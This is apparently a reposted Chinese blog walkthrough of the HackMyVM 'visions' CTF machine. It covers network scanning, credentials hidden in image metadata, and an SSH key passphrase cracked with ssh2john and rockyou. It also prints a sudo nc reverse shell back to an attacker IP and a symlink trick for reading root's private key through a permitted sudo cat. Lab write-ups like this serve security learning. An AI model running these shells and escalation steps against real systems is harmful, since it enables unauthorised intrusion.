当前位置:网站首页>HackMyvm靶機系列(3)-visions
HackMyvm靶機系列(3)-visions
2022-07-06 13:57:00 【月應知我意】
一、信息收集
先探測網段,得到目標主機
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
然後進行端口掃描,發現ssh服務和http服務
nmap -sC -sV -p- 192.168.200.234
訪問一下http服務,發現只有一張圖片和一段注釋。

這段注釋看上去是一個提示,aliccia猜測可能是一個用戶

使用dirsearch掃描一下目錄,看看能有什麼收獲不
dirsearch -u http://192.168.200.234/ -e php,html,txt,bak,zip,7z,gz,db -x 404,301,500,502然而什麼東西都麼有

根據它的提示,將圖片下載下來,查看一下圖片的元數據是啥
curl http://192.168.200.234/white.png -o white.png
./exiftool white.png如圖,發現了密碼
工具用法與下載:

alicia:ihaveadream二、漏洞利用
成功登入

進來之後在當前目錄下沒發現flag,看了一下家目錄發現有4個用戶,然後在sophia目錄下發現了flag,但是沒有權限,運行不了。
那就先試試提權?

sudo -l發現當前用戶可以以emma用戶的身份運行nc而不需要使用密碼。

既然如此,那就先反彈shell試試。
kali上監聽端口

然後在目標機上執行下面命語句
sudo -u emma nc 192.168.200.192 10000 -e /bin/bash
成功接受到shell,使用python獲得一個交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在當前目錄下發現一個note.txt文件,內容如下。
我情不自禁???不知道啥意思。

然後我又查看了一下suid和sudo提權,都沒啥突破口。
後來看了大佬的wp,發現需要使用到一些圖片處理工具
上傳圖片後,點擊這個箭頭處。

然後就能看到用戶名和密碼了,這題是真的坑,信息全藏在這張圖片裏了

sophia:seemstobeimpossible登錄成功

當前用戶可以使用任何用戶的身份使用cat命令查看.invisible文件。這意味著我們使用cat命令查看該文件的時候可以用擁有root權限。

打開一看,是用戶isabella的私鑰欸,拿去登錄試試

居然還要繼續輸入密碼。

只能開始爆破了
可以使用john the ripper進行爆破,但是要先使用下面命令將id_rsa轉換為john能識別的hash值
python3 /usr/share/john/ssh2john.py id_rsa > crack.txt
我這裏使用脚本進行爆破。
rockyou.txt是kali自帶的一個字典,/usr/share/wordlists/rockyou.txt.gz,使用之前需要對其解壓,不然會亂碼
gzip -d rockyou.txt.gz
成功爆破出密碼(密碼在1萬多行,但是這裏由於寫wp我就把它放前面來了)
invisible如圖,登錄成功
從下面開始,由於換了一個網絡,所以這個IP變了

三、權限提昇
在這裏看看有沒有可以用來提權的命令
然而並沒有什麼突破點

後來突然想起之前sophia用戶使用cat命令讀取.invisible文件是具有root權限的,那我能不能使用isabella用戶將.invisiblla用戶鏈接到root用戶的私鑰上去呢?

創建軟鏈接
ln -sf /root/.ssh/id_rsa .invisible
讀取root用戶的私鑰
sudo cat /home/isabella/.invisible
這裏使用私鑰登錄是會有一個小問題,權限太高會導致登陸失敗。

將權限降低,再進行登錄
chmod 600 key登錄成功,獲得root權限

边栏推荐
- String ABC = new string ("ABC"), how many objects are created
- Strengthen basic learning records
- 实验八 异常处理
- [data processing of numpy and pytoch]
- Redis实现分布式锁原理详解
- 2. First knowledge of C language (2)
- 7-7 7003 组合锁(PTA程序设计)
- [modern Chinese history] Chapter 9 test
- [the Nine Yang Manual] 2022 Fudan University Applied Statistics real problem + analysis
- Programme de jeu de cartes - confrontation homme - machine
猜你喜欢

Attach the simplified sample database to the SQLSERVER database instance

(原创)制作一个采用 LCD1602 显示的电子钟,在 LCD 上显示当前的时间。显示格式为“时时:分分:秒秒”。设有 4 个功能键k1~k4,功能如下:(1)k1——进入时间修改。

使用Spacedesk实现局域网内任意设备作为电脑拓展屏

【黑马早报】上海市监局回应钟薛高烧不化;麦趣尔承认两批次纯牛奶不合格;微信内测一个手机可注册俩号;度小满回应存款变理财产品...

Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a

深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning

About the parental delegation mechanism and the process of class loading

Reinforcement learning series (I): basic principles and concepts

Yugu p1012 spelling +p1019 word Solitaire (string)

Meituan dynamic thread pool practice ideas, open source
随机推荐
Differences among fianl, finally, and finalize
Analysis of penetration test learning and actual combat stage
Nuxtjs quick start (nuxt2)
PriorityQueue (large root heap / small root heap /topk problem)
7-3 construction hash table (PTA program design)
[experiment index of educator database]
7-11 机工士姆斯塔迪奥(PTA程序设计)
Wechat applet
[the Nine Yang Manual] 2018 Fudan University Applied Statistics real problem + analysis
7-6 矩阵的局部极小值(PTA程序设计)
Implementation of count (*) in MySQL
Using qcommonstyle to draw custom form parts
3. Input and output functions (printf, scanf, getchar and putchar)
Relationship between hashcode() and equals()
7-5 走楼梯升级版(PTA程序设计)
这次,彻底搞清楚MySQL索引
Leetcode.3 无重复字符的最长子串——超过100%的解法
实验七 常用类的使用
仿牛客技术博客项目常见问题及解答(二)
7-4 hash table search (PTA program design)